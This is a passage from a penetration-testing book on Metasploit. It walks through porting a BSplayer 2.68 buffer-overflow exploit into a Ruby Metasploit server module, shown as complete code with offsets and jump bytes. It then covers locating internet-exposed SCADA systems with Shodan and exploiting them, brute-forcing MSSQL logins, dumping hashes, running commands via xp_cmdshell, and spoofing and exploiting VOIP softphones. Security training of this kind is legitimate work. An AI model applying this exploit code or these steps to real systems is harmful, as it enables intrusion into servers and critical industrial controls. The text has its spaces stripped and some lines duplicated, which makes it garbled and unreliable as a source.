TheapplicationusedinthisexampleisBSplayer2.68.WecanseewehaveaPythonexploitlisteningonport81.Thevulnerabilityliesinparsingtheremoteserver'sresponse;whenausertriestoplayavideofromaURL.Letusseewhathappenswhenwetrytostreamcontentfromourlisteneronport81:

Wecanseethecalculatorapplicationpoppingup,whichdenotesthesuccessfulworkingoftheexploit.

Note

DownloadthePythonexploitforBSplayer2.68fromhttps://www.exploit-db.com/exploits/36477/

LetusseetheexploitcodeandgatheressentialinformationfromitinordertobuildtheMetasploitmodule:

Theexploitisstraightforward.However,theauthoroftheexploithasusedbackwardjumpingtechniqueinordertofindtheshellcodethatwasdeliveredbythepayload.Thistechniqueisusedtocountermeasurespacerestrictions.Anotherthingtonotehereisthattheauthorhassentthemaliciousbuffertwiceinordertoexecutethepayloadduetothenatureofvulnerability.LetustrybuildingatableinthenextsectionwithallthedatawerequiretoconvertthisexploitintoaMetasploitcompatiblemodule.

Gatheringtheessentials

Letuslookatthefollowingtablethathighlightsallthenecessaryvaluesandtheirusage:

SerialNumber Variable Value

1 Offsetvalue 2048

2 KnownlocationinmemorycontainingPOP-POP-RETNseriesofinstructions/P-P-RAddress

0x0000583b

3 Backwardjump/longjumptofindtheShellCode \xe9\x85\xe9\xff\xff

4 Shortjump/pointertothenextSEHframe \xeb\xf9\x90\x90

WenowhavealltheessentialstobuildtheMetasploitmodulefortheBSplayer2.68application.WecanseethattheauthorhasplacedtheShellCodeexactlyafter2048NOPs.However,thisdoesnotmeanthattheactualoffsetvalueis2048.TheauthoroftheexploithasplaceditbeforetheSEHoverwritebecausetheremightbenospaceleftfortheShellCode.However,wewilltakethisvalueasoffset,sincewewillfollowtheexactprocedurefromtheoriginalexploit.Additionally,\xccisabreakpointopcode,butinthisexploit,ithasbeenusedaspadding.ThejmplongvariablestoresthebackwardjumptotheShellCode,sinceweareonspaceconstraints.Thensehvariablestorestheaddressofthenextframe,whichisnothingbutashortjumpaswediscussedinthepreviouschapter.ThesehvariablestorestheaddressofP/P/Rinstructionsequence.

Note

Animportantpointtonotehereisthatinthisscenarioweneedthetargettomakeaconnectiontoourexploitserver,ratherthanustryingtoreachthetargetmachine.Hence,ourexploitservershouldalwayslistenforincomingconnectionsandbasedontherequest,itshoulddeliverthemaliciouscontent.

GeneratingtheMetasploitmodule

LetusstartthecodingpartofourexploitinMetasploit:

require'msf/core'

classMetasploit3<Msf::Exploit::Remote

Rank=NormalRanking

includeMsf::Exploit::Remote::TcpServer

definitialize(info={})

super(update_info(info,

'Name'=>"BsPlayer2.68SEHOverflowExploit",

'Description'=>%q{

Here'sanexampleofServerBasedExploit

},

'Author'=>['NipunJaswal'],

'Platform'=>'win',

'Targets'=>

[

['Generic',{'Ret'=>0x0000583b,'Offset'=>2048}],

],

'Payload'=>

{

'BadChars'=>"\x00\x0a\x20\x0d"

},

'DisclosureDate'=>"May192016",

'DefaultTarget'=>0))

end

Havingworkedwithsomanyexploits,thecodesectionaboveisnodifferent,withtheexceptionoftheTCPserverlibraryfilefrom/lib/msf/core/exploit/tcp_server.rb.TheTCPserverlibraryprovidesallthenecessarymethodsrequiredforhandlingincomingrequestsandprocessingtheminvariousways.InclusionofthislibraryenablesadditionaloptionssuchasSRVHOST,SRVPORTandSSL.Letuslookattheremainingpartofthecode:

defon_client_connect(client)

returnif((p=regenerate_payload(client))==nil)

print_status("ClientConnected")

sploit=make_nops(target['Offset'])

sploit<<payload.encoded

sploit<<"\xcc"*(6787-2048-payload.encoded.length)

sploit<<"\xe9\x85\xe9\xff\xff"

sploit<<"\xeb\xf9\x90\x90"

sploit<<"\xeb\xf9\x90\x90"

sploit<<[target.ret].pack('V')

client.put(sploit)

client.get_once

client.put(sploit)

handler(client)

service.close_client(client)

end

end

Wecanseewehavenoexploitmethodwiththesetypeofexploit.However,wehaveon_client_connect,on_client_dataandon_client_disconnectmethods.Themostusefulandtheeasiestistheon_client_connectmethod.ThismethodisfiredassoonasaclientconnectstotheexploitserveronthechosenSRVHOSTandSRVPORT.

WecanseewecreatedNOPsintheMetasploitwayusingmake_nopsandembeddedthepayloadusingpayload.encoded,thuseliminatingtheuseofhardcodedpayloads.Weassembledrestofthesploitvariablesimilartotheoriginalexploit.However,tosendthemaliciousdatabacktothetargetwhenrequested,wehaveusedclient.put(),whichwillrespondwithourchosendatatothetarget.Since,theexploitrequiresthedatatobesenttwicetothetarget,wehaveusedclient.get_oncetoensurethatthedataissenttwiceinsteadofbeingmergedasasingleunit.Sendingthedatatwicetothetarget,wefirethehandlerthatactivelylooksforincomingsessionsfromsuccessfulexploits.Intheend,weclosetheconnectiontothetargetbyissuingaservice.client_closecall.

Wecanseethatwehaveusedtheclientobjectinourcode.Thisisbecausetheincomingrequestfromaparticulartargetwillbeconsideredasaseparateobjectanditwillalsoallowmultipletargetstoconnectatthesametime.

LetusseeourMetasploitmoduleinaction:

Letusconnecttotheexploitserveronport8080fromBSplayer2.8asfollows:

Assoonasaconnectionisattemptismadetoourexploithandler,themeterpreterpayloadisdeliveredtothetargetandwearepresentedwiththe

meterpreterpayloadisdeliveredtothetargetandwearepresentedwiththefollowingscreen:

Jackpot!TheMeterpretershellisnowaccessible.WesuccessfullywroteanexploitservermoduleinMetasploitusingTCPserverlibraries.InMetasploit,wecanalsoestablishHTTPserverfunctionalitiesusingHTTPserverlibraries:

Tip

FormoreonHTTPserverfunctions,referto/lib/msf/core/exploit/http/server.rb

SummaryCoveringthebrainstormingexercisesofportingexploits,wehavenowdevelopedapproachestoportvariouskindsofexploitsinMetasploit.Aftergoingthroughthischapter,wehavelearnedhowwecanportexploitsofdifferentkindsintotheframeworkwithease.Inthischapter,wehavedevelopedmechanismstofigureouttheessentialsfromastandaloneexploit.WesawvariousHTTPfunctionsandtheiruseinexploitation.WehavealsorefreshedourknowledgeofSEH-basedexploitsandhowexploitserversarebuilt.

So,bynow,wehavecoveredmostoftheexploitwritingexercises.Fromthenextchapter,wewillseehowwecanleverageMetasploittocarryoutpenetrationtestingonvariousservices,includingVOIP,DBMS,SCADA,andmuchmore.

Chapter5.TestingServiceswithMetasploit"It'sbettertopayacentforsecuritythanadollarasaransom"-SantoshKhadsare,cybercrimeinvestigator

--

Let'snowtalkabouttestingvariousspecializedservices.Itislikelythatduringourcareerasapenetrationtesterwewillcomeacrossacompanyoratestableenvironmentthatonlyrequirestestingtobeperformedonaparticularserver,andthisservermayrunservicessuchasdatabases,VOIP,orSCADA.Inthischapter,wewilllookatvariousdevelopingstrategiestousewhilecarryingoutpenetrationtestsontheseservices.Inthischapter,wewillcoverthefollowingpoints:

UnderstandingSCADAexploitationThefundamentalsofICSandtheircriticalnatureCarryingoutdatabasepenetrationtestsTestingVOIPservices

Service-basedpenetrationtestingrequiressharpskillsandagoodunderstandingofservicesthatwecansuccessfullyexploit.Therefore,inthischapter,wewilllookatboththetheoreticalandthepracticalchallengesofcarryingouteffectiveservice-basedtesting.

ThefundamentalsofSCADASupervisoryControlandDataAcquisition(SCADA)isrequiredtocontrolactivitiesindams,powerstations,oilrefineries,largeservercontrolservices,andsoon.

SCADAsystemsarebuiltforhighlyspecifictasks,suchascontrollingthelevelofdispatchedwater,controllingthegaslines,controllingtheelectricitypowergridtocontrolpowerinaparticularcity,andvariousotheroperations.

ThefundamentalsofICSanditscomponents

SCADAsystemsareIndustrialControlSystem(ICS)systems,whichareusedincriticalenvironmentsorwherelifeisatstake,ifanythinggoeswrong.ICSarethesystemsthatareusedinlargeindustries,wheretheyareresponsibleforcontrollingvariousprocesses,suchasmixingtwochemicalsinadefiniteratio,insertingcarbondioxideinaparticularenvironment,puttingtheproperamountofwaterintheboiler,andsoon.

ThecomponentsofsuchSCADAsystemsareasfollows:

Component Use

RemoteTerminalUnit(RTU)

Thisisthedevicethatconvertsanalogmeasurementsintodigitalinformation.

ProgrammableLogicController(PLC)

PLCsareintegratedwithI/Oserversandreal-timeoperatingsystems;itworksexactlylikeRTU.ItalsousesprotocolssuchasFTPandSSH.

HumanMachineInterface(HMI)

Thisisthegraphicalrepresentationoftheenvironment,whichisunderobservationorisbeingcontrolledthroughtheSCADAsystem.

Intelligentelectronicdevice(IED)

Thisisbasicallyamicrochip,ormorespecificallyacontroller,thatcansendcommandstoperformaparticularaction,suchasclosingthevalveafteraparticularamountofacertainsubstanceismixedwithanother.

ThesignificanceofICS-SCADA

ICSsystemsareverycritical,andifthecontrolofthemweretobeplacedintothewronghands,adisastroussituationcouldoccur.JustimagineasituationwhereanICScontrolforagaslineishackedbyamaliciousactor-denialofserviceisnottheonlythingwecouldexpect;damagetosomeSCADAsystemscanevenleadtolossoflife.YoumighthaveseenthemovieDieHard4.0,inwhichthepeoplesendingthegaslinestothestationmaylookcoolandtrafficchaosmaylooklikeasourceoffun.However,inreality,whenasituationlikethisarises,itwillcauseseriousdamagetopropertyandcancauselossoflife.

Aswehaveseeninthepast,withtheadventoftheStuxnetworm,theconversationaboutthesecurityofICSandSCADAsystemshasbeenseriouslyviolated.Let'stakeafurtherstepanddiscusshowwecanbreakintoSCADAsystemsortestthemoutsothatwecansecurethemforabetterfuture.

AnalyzingsecurityinSCADAsystems

Inthissection,wewilldiscusshowwecanbreachthesecurityofSCADAsystems.WehaveplentyofframeworksthatcantestSCADAsystems,butdiscussingthemwillpushusbeyondthescopeofthisbook.Therefore,tokeepitsimple,wewillkeepourdiscussionspecifictoSCADAexploitationcarriedoutusingMetasploit.

FundamentalsoftestingSCADA

Let'sunderstandthebasicsofexploitingSCADAsystems.SCADAsystemscanbecompromisedusingavarietyofexploitsinMetasploit,whichwereaddedrecentlytotheframework.Inaddition,someoftheSCADAserversthatarelocatedmighthaveadefaultusernameandpassword,whichrarelyexistthesedays,butstilltheremaybeapossibility.

Let'stryfindingsomeSCADAservers.Wecanachievethisusinganexcellentresource,suchashttp://www.shodanhq.com:

1. First,weneedtocreateanaccountfortheShodanwebsite.2. Afterregistering,wecansimplyfindourAPIkeyfortheShodanservices

withinouraccount.ObtainingtheAPIkey,wecansearchvariousservicesthroughMetasploit.

3. Let'strytofindtheSCADAsystemsconfiguredwithtechnologiesfromRockwellAutomationusingauxiliary/gather/shodan_searchmodule.

4. IntheQUERYoption,wewillsimplytypeinRockwell,asshowninthefollowingscreenshot:

5. WesettheSHODAN_APIKEYoptiontotheAPIkeyfoundinourShodanaccount.Let'sputtheQUERYoptionasRockwellandanalyzetheresultsasfollows:

Aswecanseeclearly,wehavefoundalargenumberofsystemsontheInternetrunningSCADAservicesbyRockwellAutomationusingtheMetasploitmodule.

SCADA-basedexploits

Inrecenttimes,wehaveseenthatSCADAsystemsareexploitedatmuchhigher

Inrecenttimes,wehaveseenthatSCADAsystemsareexploitedatmuchhigherratesthaninthepast.SCADAsystemsmaysufferfromvariouskindsofvulnerabilities,suchasstack-basedoverflow,integeroverflow,cross-sitescripting,andSQLinjection.

Moreover,theimpactofthesevulnerabilitiesmaycausedangertolifeandproperty,aswehavediscussedbefore.ThereasonwhythehackingofSCADAdevicesisapossibilitylieslargelyinthecarelessprogrammingandpooroperatingproceduresofSCADAdevelopersandoperators.

Let'sseeanexampleofaSCADAserviceandtrytoexploititwithMetasploit.Inthefollowingexample,wewillexploitaDATACRealWinSCADAServer2.0systembasedonaWindowsXPsystemusingMetasploit.

Theservicerunsonport912,whichisvulnerabletobufferoverflowinthesprintfCfunction.ThesprintffunctionisusedintheDATACRealWinSCADAserver'ssourcecodetodisplayaparticularstringconstructedfromtheuserinput.Thevulnerablefunction,whenabusedbytheattacker,canleadtofullcompromiseofthetargetsystem.

Let'stryexploitingtheDATACRealWinSCADAServer2.0withMetasploitusingtheexploit/windows/scada/realwin_scpc_initializeexploitasfollows:

WesettheRHOSTas192.168.10.108andpayloadaswindows/meterpreter/bind_tcp.ThedefaultportforDATACRealWinSCADAis912.Let'sexploitthetargetandcheckifweareabletoexploitthevulnerability:

Bingo!Wesuccessfullyexploitedthetarget.Let'sloadmimikatzmoduletofindthesystem'spasswordincleartextasfollows:

Wecanseethatbyissuingthekerberoscommand,weareabletofindthepasswordincleartext.Wewilldiscussmoremimikatzfunctionalityandadditionallibrariesinthelatterhalfofthebook.

WehaveplentyofexploitsinMetasploit,whichspecificallytargetvulnerabilitiesinSCADAsystems.Tofindoutmoreinformationaboutthesevulnerabilities,youcanrefertothegreatestresourceonthewebforSCADAhackingandsecurityathttp://www.scadahacker.com.Youshouldbeabletoseemanyexploitslistedunderthemsf-scadasectionathttp://scadahacker.com/resources/msf-scada.html.

Thewebsitehttp://www.scadahacker.comhasmaintainedalistofvulnerabilitiesfoundinvariousSCADAsystemsoverthepastfewyears.ThebeautyofthelistliesinthefactthatitprovidespreciseinformationabouttheSCADAproduct,thevendoroftheproduct,thesystemscomponent,theMetasploitreferencemodule,thedisclosuredetails,andthefirstMetasploitmodulelaunchedpriortothisattack.

AllthelatestexploitsforthevulnerabilitiesinthesesystemsareaddedtoMetasploitatregularintervals,whichmakesMetasploitfitforeverytypeofpenetrationtestingengagement.Let'sseethelistofvariousexploitsavailableathttp://www.scadahacker.com,asshowninthefollowingscreenshot:

SecuringSCADA

SecuringSCADAnetworkistheprimarygoalforanypenetrationtesteronthejob.Let'sseethefollowingsectionandlearnhowwecanimplementSCADAservicessecurelyandimposearestrictiononit.

ImplementingsecureSCADA

SecuringSCADAisreallyatoughjobwhenithastobeimplementedpractically;however,wecanlookforsomeofthefollowingkeypointswhensecuringSCADAsystems:

KeepaneyeoneveryconnectionmadetoSCADAnetworksandfigureoutifanyunauthorizedattemptsweremadeMakesureallthenetworkconnectionsaredisconnectedwhentheyarenotrequiredImplementallthesecurityfeaturesprovidedbythesystemvendorsImplementIDPStechnologiesforbothinternalandexternalsystemsandapplyincidentmonitoringfor24hoursDocumentallthenetworkinfrastructureandprovideindividualrolestoadministratorsandeditorsEstablishIRteamsandblueteamsforidentifyingattackvectorsonaregularbasis

Restrictingnetworks

Networkscanberestrictedintheeventofattacksrelatedtounauthorizedaccess,unwantedopenservices,andsoon.ImplementingthecurebyremovingoruninstallingservicesisthebestpossibledefenseagainstvariousSCADAattacks.

Tip

SCADAsystemsaregenerallyimplementedonWindowsXPboxes,andthisincreasestheattacksurfacesignificantly.IfyouareimplementingaSCADAsystem,makesureyourWindowboxesareuptodatetopreventthemorecommonattacks.

DatabaseexploitationAftercoveringastartupofSCADAexploitation,let'smovefurtherontotestingdatabaseservices.Inthissection,ourprimarygoalwillbetotestthedatabasesandcheckthebackendforvariousvulnerabilities.Databasescontaincriticalbusinessdata.Therefore,iftherearevulnerabilitiesinthedatabasemanagementsystem,itcanleadtoremotecodeexecutionorfullnetworkcompromisethatmayleadtoexposureofacompany'sconfidentialdata.Datarelatedtofinancialtransactions,medicalrecords,criminalrecords,products,sales,marketingandsooncouldbeveryusefultothebuyersofthesedatabases.

Tomakesuredatabasesarefullysecure,weneedtodevelopmethodologiesfortestingtheseservicesagainstvarioustypesofattack.Let'snowstarttestingdatabasesandlookatthevariousphasesofconductingapenetrationtestonadatabase.

SQLserver

Microsoftlauncheditsdatabaseserverbackin1989.Today,alargeshareofthewebsitesrunonthelatestversionofMSSQLserverasthebackendfortheirwebsites.However,ifthewebsiteislargeorhandlesmanytransactionsinaday,itisimportantthatthedatabaseisfreefromanyvulnerabilitiesandproblems.

Inthissection,ontestingdatabases,wewillfocusonthestrategiestotestdatabasemanagementsystemsefficiently.Bydefault,MSSQLrunsonTCPportnumber1433andUDPserviceonport1434.Solet'sstarttestingaMSSQLServer2008runningonWindows8.

FingerprintingSQLserverwithNmap

BeforelaunchinghardcoremodulesofMetasploit,let'sseewhatinformationcanbegainedabouttheSQLserverwiththeuseofthemostpopularnetwork-scanningtool:Nmap.However,wewillusethedb_nmappluginfromMetasploititself.

So,let'squicklyspawnaMetasploitconsoleandstarttofingerprinttheSQLserverrunningonthetargetsystembyperformingaservicedetectionscanonport1433asfollows:

Intheprecedingscreenshot,wehavetestedportnumber1433,whichrunsasaTCPinstanceoftheSQLserver.Wecanclearlyseeabovethattheportisopen.

Let'schecktoseeiftheUDPinstanceoftheSQLserverisrunningonthetargetbyperformingaservicedetectionscanontheUDPport1434,asfollows:

WecanseeclearlythatwhenwetriedscanningontheUDPport1434,NmaphaspresenteduswithsomeadditionalinformationaboutthetargetSQLserver,whichistheversionoftheSQLserver,andtheservername,WIN8.

Let'snowfindsomeadditionalinformationonthetargetdatabaseusingbuilt-inNmapscripts:

Providingthems-sql-infoscriptnameinthescriptswitchwillinstructNmaptoscanmorepreciselyandconductnumeroustestsspecificallyforMSSQLserver.Wecanseethatnowwehavemuchmoreinformation,suchasnamedpipe,clusteringinformation,instance,version,productinformation,andavarietyofotherinformationaswell.

ScanningwithMetasploitmodules

Let'snowjumpintoMetasploit-specificmodulesfortestingtheMSSQLserverandseewhatkindofinformationwecangainbyusingthem.Theveryfirstauxiliarymodulewewillbeusingismssql_ping.Thismodulewillgatheradditionalserviceinformation.

So,let'sloadthemoduleandstartthescanningprocessasfollows:

Aswecanseefromtheprecedingresults,wegotalmostthesameinformation,buthere,MetasploitauxiliarieshaveacompetitiveedgeonreadabilityovertheoutputfromNmap.Let'sperformsomeadditionaltaskswithMSFmodulesthatwecannotperformwithNmap.

Bruteforcingpasswords

Thenextstepinpenetrationtestingadatabaseistocheckauthenticationprecisely.Metasploithasabuilt-inmodulenamedmssql_login,whichwecanuseasanauthenticationtestertobrute-forcetheusernameandpasswordofaMSSQLserverdatabase.

Let'sloadthemoduleandanalyzetheresults:

Assoonaswerunthismodule,ittestsforthedefaultcredentialsattheveryfirststep,thatis,withtheusernamesaandpasswordasblank,andfoundthattheloginwassuccessful.Therefore,wecanconcludethatdefaultcredentialsarestillbeingused.Additionally,wemusttrytestingformorecredentialsifincasethesaaccountisnotimmediatelyfound.Inordertoachievethis,wewillsettheUSER_FILEandPASS_FILEparameterswiththenameofthefilesthatcontaindictionariestobruteforcetheusernameandpasswordoftheDBMS:

Let'ssettherequiredparameters,whicharetheUSER_FILElist,thePASS_FILElist,andRHOSTSforrunningthismodulesuccessfullyasfollows:

Runningthismoduleagainstthetargetdatabaseserver,wewillhavetheoutputsimilartothefollowingscreen:

Aswecanseefromtheprecedingresult,wehavetwoentriesthatcorrespondtothesuccessfulloginoftheuserinthedatabase.Wefoundadefaultuser,sa,withablankpassword,andanotheruser,nipun,whosepasswordis12345.

Locating/capturingserverpasswords

Weknowthatwehavetwousers:saandnipun.Let'ssupplyoneofthemandtryfindingtheotherusercredentials.Wecanachievethiswiththehelpofthemssql_hashdumpmodule.Let'scheckitsworkingandinvestigateallotherhashesonitssuccessfulcompletion:

Aswecanseeclearlythat,wehavegainedaccesstothepasswordhashesforotheraccountsonthedatabaseserver.Wecannowcrackthemusingathird-partytoolandcanelevateorgainaccesstootherdatabasesandtablesaswell.

BrowsingSQLserver

Wefoundtheusersandtheircorrespondingpasswordsintheprevioussection.Let'snowlogintotheserverandgatherimportantinformationaboutthedatabaseserver,suchasstoredprocedures,thenumberandnameofthedatabases,Windowsgroupsthatcanloginintothedatabaseserver,thefilesinthedatabase,andtheparameters.

Themodulethatwearegoingtouseforthispurposeismssql_enum.Let'sseehowwecanrunthismoduleonthetargetdatabase:

Afterrunningthemssql_enummodule,wewillbeabletogatheralotofinformationaboutthedatabaseserver.Let'sseewhatkindofinformationitpresents:

Aswecansee,themodulepresentsuswithalmostalltheinformationaboutthedatabaseserver,suchasstoredprocedures,name,andthenumberofdatabasespresent,disabledaccounts,andsoon.

Wewillalsosee,intheupcomingReloadingthexp_cmdshellfunctionalitysection,thatwecanbypasssomedisabledstoredprocedures.Inaddition,proceduressuchasxp_cmdshellcanleadtothecompromiseoftheentireserver.Wecanseeinthepreviousscreenshotthatxp_cmdshellisenabledontheserver.Let'sseewhatotherinformationthemssql_enummodulehasgotforus:

Itpresenteduswithalotofinformation,aswecanseeintheprecedingscreenshot.Thisincludesalistofstoredprocedures,accountswithanemptypassword,windowloginsforthedatabase,andadminlogins.

Post-exploiting/executingsystemcommands

Aftergatheringenoughinformationaboutthetarget,let'sperformsomepost-exploitationonthetargetdatabase.Toachievepost-exploitation,wehavetwodifferentmodulesthatcanbeveryhandy.Thefirstoneismssql_sql,whichwillallowustorunSQLqueriesontothedatabase,andthesecondoneismsssql_exec,whichwillallowustorunsystem-levelcommandsbyenablingthexp_cmdshellprocedureifincaseitsdisabled.

Reloadingthexp_cmdshellfunctionality

Themssql_execmodulewilltryrunningthesystem-levelcommandsbyreloadingthedisabledxp_cmdshellfunctionality.ThismodulewillrequireustosettheCMDoptiontothesystemcommandthatwewanttoexecute.Let'sseehowitworks:

Assoonaswefinishrunningthemssql_execmodule,theresultswillflashontothescreen,asshowninthefollowingscreenshot:

Theresultantwindowclearlyshowsthesuccessfulexecutionofthesystemcommandagainstthetargetdatabaseserver.

RunningSQL-basedqueries

WecanalsorunSQL-basedqueriesagainstthetargetdatabaseserverusingthemssql_sqlmodule.SettingtheSQLoptiontoanyvaliddatabasequerywillexecuteitasshowninthefollowingscreenshot:

WesettheSQLparametertoselect@@version.Thedatabaseserverexecutedthequerysuccessfullyandwegottheversionofthedatabase.

Therefore,followingtheprecedingprocedures,wecantestoutvariousdatabasesforvulnerabilitiesusingMetasploit.

Note

RefertoanexcellentresourceontestingMySQLathttp://pentestlab.wordpress.com/2012/07/27/attacking-mysql-with-metasploit/.

TestingVOIPservicesLet'snowfocusontestingVOIP-enabledservicesandseehowwecancheckforvariousflawsthatmightaffectVOIPservices.

VOIPfundamentals

VoiceOverInternetProtocol(VOIP)isamuchlesscostlytechnologywhencomparedtothetraditionaltelephonicservices.VOIPprovidesmuchmoreflexibilitythanthetraditionalonesintermsoftelecommunicationandoffersvariousfeatures,suchasmultipleextensions,callerIDservices,logging,recordingofeachcallmade,andsoon.VariouscompanieshavelaunchedtheirPrivateBrancheXchange(PBX)onIP-enabledphones.

Thetraditionalandthepresenttelephonicsystemsarestillvulnerabletointerceptionthroughphysicalaccess,sothatifanattackeralterstheconnectionofaphonelineandattachestheirtransmitter,theywillbeabletomakeandreceivecallstothevictim'sdeviceandenjoyInternetandfaxservices.

However,inthecaseofVOIPservices,wecancompromisesecuritywithoutgoingontothewires.Nevertheless,attackingVOIPservicesisatedioustaskifyoudonothavebasicknowledgeofhowitworks.ThissectionshedslightonhowwecancompromiseVOIPinanetworkwithoutinterceptingthewires.

AnintroductiontoPBX

PBXisacost-effectivesolutiontotelephonyservicesinsmallandmediumsizedcompanies.Thisisbecauseitprovidesmuchmoreflexibilityandintercommunicationbetweenthecompanycabinsandfloors.AlargecompanymayalsopreferPBXbecauseconnectingeachtelephonelinetotheexternallinebecomesverycumbersomeinlargeorganizations.PBXincludesthefollowing:

TelephonetrunklinesthatterminateatthePBXAcomputerthatmanagesalltheswitchingofcallswithinthePBXandinandoutofitThenetworkofcommunicationlineswithinthePBXAconsoleorswitchboardforahumanoperator

TypesofVOIPservices

WecanclassifyVOIPtechnologiesintothreedifferenttypes.Let'sseewhattheyare.

Self-hostednetwork

Inthistypeofnetwork,aPBXisinstalledattheclient'ssiteandisfurtherconnectedtoanInternetServiceProvider(ISP).ThistypeofnetworkgenerallysendsVOIPtrafficflowsthroughnumerousvirtualLANstothePBXdevice,whichthensendsittothePublicSwitchedTelephoneNetwork(PSTN)forcircuitswitchingandtheISPoftheInternetconnectionaswell.Thefollowingdiagramdemonstratesthisnetworkwell:

Hostedservices

Inthehostedservices-typeVOIPtechnology,thereisnoPBXattheclient'spremises.However,allthedevicesattheclient'spremisesconnecttothePBXoftheserviceproviderviatheInternet,thatis,viaSessionInitiationProtocol(SIP)linesusingIP/VPNtechnologies.

Let'sseehowthistechnologyworkswiththehelpofthefollowingdiagram:

Let'sseehowthistechnologyworkswiththehelpofthefollowingdiagram:

SIPserviceproviders

ManySIPserviceprovidersontheInternetprovideconnectivityforsoftphones,whichcanbeuseddirectlytoenjoyVOIPservices.Inaddition,wecanuseanyclientsoftphonetoaccesstheVOIPservices,suchasXlite,asshowninthefollowingscreenshot:

FingerprintingVOIPservices

WecanfingerprintVOIPdevicesoveranetworkusingtheSIPscannermodulesbuiltintoMetasploit.AcommonlyknownSIPscanneristheSIPendpointscannerthatisbuiltintoMetasploit.WecanusethisscannertoidentifydevicesthatareSIPenabledonanetworkbyissuingtherequestforoptionsfromvariousSIPservices.

Let'scarryonwithscanningVOIPusingtheoptionsauxiliarymoduleunder/auxiliary/scanner/sipandanalyzetheresults.ThetargethereisaWindowsXPsystemwiththeAsteriskPBXVOIPclientrunning.WestartbyloadingtheauxiliarymoduleforscanningSIPservicesoveranetwork,asshowninthefollowingscreenshot:

Wecanseethatwehaveplentyofoptionsthatwecanusewiththeauxiliary/scanner/sip/optionsauxiliarymodule.WeneedtoconfigureonlytheRHOSTSoption.However,foralargenetwork,wecandefinetheIPrangeswiththeClasslessInterDomainRouting(CIDR)identifier.Oncerun,themodulewillstartscanningforIPsthatmaybeusingSIPservices.Let'srunthismodule,asfollows:

Aswecanseeclearly,whenthismoduleruns,itreturnsalotofinformationrelatedtotheIPs,whichareusingSIPservices.ThisinformationcontainsanagentdenotingthenameandversionofthePBXandverbs,whichdefinethetypesofrequestsupportedbythePBX.Hence,wecanusethismoduletogatheralotofknowledgeabouttheSIPservicesonthenetwork.

ScanningVOIPservices

Afterfindingoutinformationaboutthevariousoptionrequestssupportedbythetarget,Let'snowscanandenumerateusersfortheVOIPservicesusinganotherMetasploitmodule,thatis,auxiliary/scanner/sip/enumerator.ThismodulewillscanforVOIPservicesoveratargetrangeandwilltrytoenumerateitsusers.Let'sseehowwecanachievethis:

Wehavetheprecedingoptionstousewiththismodule.Wewillsetsomeofthefollowingoptionsinordertorunthismodulesuccessfully:

Aswecansee,wehavesettheMAXEXT,MINEXT,PADLEN,andRHOSTSoptions.

Intheenumeratormoduleusedintheprecedingscreenshot,wedefinedMINEXTandMAXEXTas3000and3005respectively.MINEXTistheextensionnumbertostartasearchfromandMAXEXTreferstothelastextensionnumbertocompletethesearchon.Theseoptionscanbesetforaverylargerange,suchasMINEXTto0andMAXEXTto9999tofindoutthevarioususersusingVOIPservicesonextensionnumber0to9999.

Let'srunthismoduleonatargetrangebysettingtheRHOSTSvariabletotheCIDRvalueasfollows:

SettingRHOSTSas192.168.65.0/24willscantheentiresubnet.Now,let'srunthismoduleandseewhatoutputitpresents:

ThissearchreturnedmanyusersusingSIPservices.Inaddition,theeffectofMAXEXTandMINEXTonlyscannedtheusersfromtheextensions3000to3005.Anextensioncanbethoughtofasacommonaddressforanumberofusersinaparticularnetwork.

SpoofingaVOIPcall

HavinggainedenoughknowledgeaboutthevarioususersusingSIPservices,let'strymakingafakecalltotheuserusingMetasploit.WhileconsideringauserrunningsipXphone2.0.6.27onaWindowsXPplatform,let'ssendtheuserafakeinviterequestusingtheauxiliary/voip/sip_invite_spoofmoduleasfollows:

WewillsettheRHOSTSoptionwiththeIPaddressofthetargetandEXTENSIONas4444forthetarget.Let'skeepSRCADDRto192.168.1.1,whichwillspooftheaddresssourcemakingthecall.

Therefore,let'snowrunthemoduleasfollows:

Let'sseewhatishappeningonthevictim'ssideasfollows:

Wecanclearlyseethatthesoftphoneisringing,displayingthecalleras192.168.1.1,anddisplayingthepredefinedmessagefromMetasploitaswell.

ExploitingVOIP

Inordertogaincompleteaccesstothesystem,wecantryexploitingthesoftphonesoftwareaswell.Fromthepreviousscenarios,wehavethetarget'sIPaddress.Let'sscanandexploititwithMetasploit.However,therearespecializedVOIPscanningtoolsavailablewithinKalioperatingsystemsthatarespecificallydesignedtotestVOIPservicesonly.

ThefollowingisalistoftoolsthatwecanusetoexploitVOIPservices:

SmapSipscanSipsakVoipongSvmap

Comingbacktotheexploitationpart,wehavesomeoftheexploitsinMetasploitthatcanbeusedonsoftphones.Let'slookatanexampleofthis.

TheapplicationthatwearegoingtoexploithereissipXphoneversion2.0.6.27.Thisapplication'sinterfacemaylooksimilartothefollowingscreenshot:

Aboutthevulnerability

ThevulnerabilityliesinthehandlingoftheCseqvaluebytheapplication.Sendinganoverlongstringcausestheapplicationtocrashandinmostcases,itwillallowtheattackertorunmaliciouscodeandgainaccesstothesystem.

Exploitingtheapplication

Let'snowexploitthesipXphoneversion2.0.6.27applicationwithMetasploit.Theexploitthatwearegoingtousehereisexploit/windows/sip/sipxphone_cseq.Let'sloadthismoduleintoMetasploitandsettherequiredoptions:

WeneedtosetthevaluesforRHOST,LHOST,andpayload.Aseverythingisnowset,Let'sexploitthetargetapplicationasfollows:

Voila!Wegotthemeterpreterinnotimeatall.Hence,exploitingVOIPcanbeeasyincasesofsoftware-basedbugswithMetasploit.However,whentestingVOIPdevicesandotherservice-relatedbugs,wecanusethird-partytoolsforeffectivetesting.

Tip

AgreatresourcefortestingVOIPcanbefoundathttp://www.viproy.com.

SummaryInthischapter,wehaveseenseveralexploitationandpenetrationtestingscenariosthatwecanperformusingvariousservices,suchasdatabases,VOIP,andSCADA.Throughoutthischapter,welearnedaboutSCADAanditsfundamentals.Wesawhowwecangainavarietyofinformationaboutadatabaseserverandhowtogaincompletecontroloverit.WealsosawhowwecouldtestVOIPservicesbyscanningthenetworkforVOIPclientsandspoofingVOIPcallsaswell.

Inthenextchapter,wewillseehowwecanperformacompletepenetrationtestusingMetasploitandintegrationofvariousotherpopularscanningtoolsusedinpenetrationtestinginMetasploit.Wewillcoverhowtoproceedsystematicallywhilecarryingoutpenetrationtestingonagivensubject.Wewillalsolookathowwecancreatereportsandwhatshouldbeincludedinorexcludedfromthosereports.

Chapter6.VirtualTestGroundsandStaging"Achefneedsgoodingredientstomakehisbestdish,sodoesaPenetrationTest,whichneedthebestofeverythingtotasteasuccess"-BinojKoshy,CyberSecurityExpert

